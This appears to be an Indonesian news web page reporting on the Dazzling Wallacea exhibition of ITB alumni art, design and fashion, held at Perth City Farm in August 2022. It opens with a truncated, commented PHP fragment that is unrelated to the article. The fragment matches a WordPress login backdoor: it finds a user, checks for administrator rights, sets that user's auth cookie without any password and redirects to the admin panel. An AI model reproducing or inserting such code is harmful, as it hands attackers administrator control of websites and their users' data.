user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Pameran
Karya Alumni ITB Mendunia bersama Dazzling Wallacea

25 Aug 2022


Dok. Dazzling Wallacea

Pandemi COVID 19 yang berimbas pada sektor ekonomi kreatif, berdampak sangat besar terhadap geliat industri kreatif di Indonesia, banyak pelaku usaha kreatif mengalami penurunan penjualan bahkan tidak jarang yang benar-benar tidak dapat berproduksi karena terkendala sumber daya usaha dan daya beli masyarakat yang tidak mendukung. 

Dengan berakhirnya pandemi saat ini, mendorong kembali semangat para pelaku industri untuk kembali hidup dan berkibar baik di kancah nasional dan internasional. Salah satunya adalah Dazzling Wallacea yang merupakan salah satu Program Karya Alumni Mendunia yang diinisiasi oleh Kemenko Kreativitas dan Kebudayaan IA-ITB (Institut Teknologi Bandung). Kegiatan ini bertujuan untuk membawa dan memperkenalkan karya-karya kreatif alumni ITB ke dunia Internasional. 

Pameran Dazzling Wallacea telah diselenggarakan pada tanggal 5-7 Agustus 2022 di Perth City Farm, Australia. Ada 3 kategori karya yang dipamerkan, yaitu Furniture & Home Decoration, Art Paintings, Photography, Fashion, Jewelry & Accessories. Puluhan Artist & Designer yang merupakan alumni ITB ikut berpartisipasi dalam pameran ini. Kegiatan ini juga sebagai pilot project Kemenko Kreativitas dan Kebudayaan IA ITB untuk memasarkan produk-produk seni, desain dan kriya Ikatan Alumni ITB di luar negeri. 

Sebagai bagian dari program Alumni Mendunia, pameran tersebut merupakan langkah awal yang sangat baik dengan membuka kerjasama dan wawasan dari sejumlah pihak galeri, institusi pendidikan, perancang interior, korporasi dan juga publik di Australia, khususnya di Perth. Pameran ini dibuka oleh ketua IA-ITB Gembong Primadjaja melalui daring, ketua IA-ITB Western Australia Arthur Panggabean dan Menteri Koordinator Kreativitas & Kebudayaan IA-ITB Isti Dhaniswari dan dihadiri oleh para undangan beserta buyer

Berdasarkan informasi dari pihak pengelola lokasi kegiatan, jumlah pengunjung yang hadir dalam rentang 3 hari penyelenggaraan pameran adalah 400 orang. Angka ini lebih baik dari perkiraan awal sebesar 250 orang, mengingat ini adalah proyek perdana dari Ikatan Alumni ITB. 
Advertisement

Turut hadir juga dalam pameran tersebut antara lain, Konjen RI di Perth, Liastiana Operananta, anggota parlemen di Perth, Pierre Yang dan Balli Singh, asosiasi bisnis Australia, Jennifer Matthews dan Phil Turtle, asosiasi bisnis Malaysia, Filipina, Singapura, Argentina, Italia dan Australia, kurator seni di Perth, edukator, jaringan guru bahasa Indonesia (WILTA) di Perth, perancang Interior di Perth, Indonesia Institute, Indonesia Chamber of Commerce Western Australia, Indonesian Student Association Western Australia, Komunitas Indonesia dan publik atau umum. 

Dalam pameran ini lebih dari 90 karya dihadirkan untuk para pengunjung. Paling banyak dari kategori fashion, jewellery & accesories sebanyak 40 karya, lalu art, paintings & photography sebanyak 36 karya dan furniture & home decor sebanyak 17 karya. Untuk produk-produk yang belum terjual, masih akan dilakukan upaya untuk mempromosikan dan memperkenalkan produk-produk tersebut di Perth sesuai dengan pilihan-pilihan yang disajikan.

Di akhir Desember 2022 mendatang, akan dilakukan pengecekan perkembangan penjualan produk-produk tersebut dan langkah selanjutnya. Salah satu opsi yang sudah disepakati sebelum penyelenggaraan pameran adalah untuk menempatkan produk-produk tersebut di ITPC Sydney untuk dipajang di sana.

Kita tunggu karya dari alumni-alumni ITB berikutnya ya!


Baca juga:



Topic

#pameran, #DazzlingWalacea, #seni

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?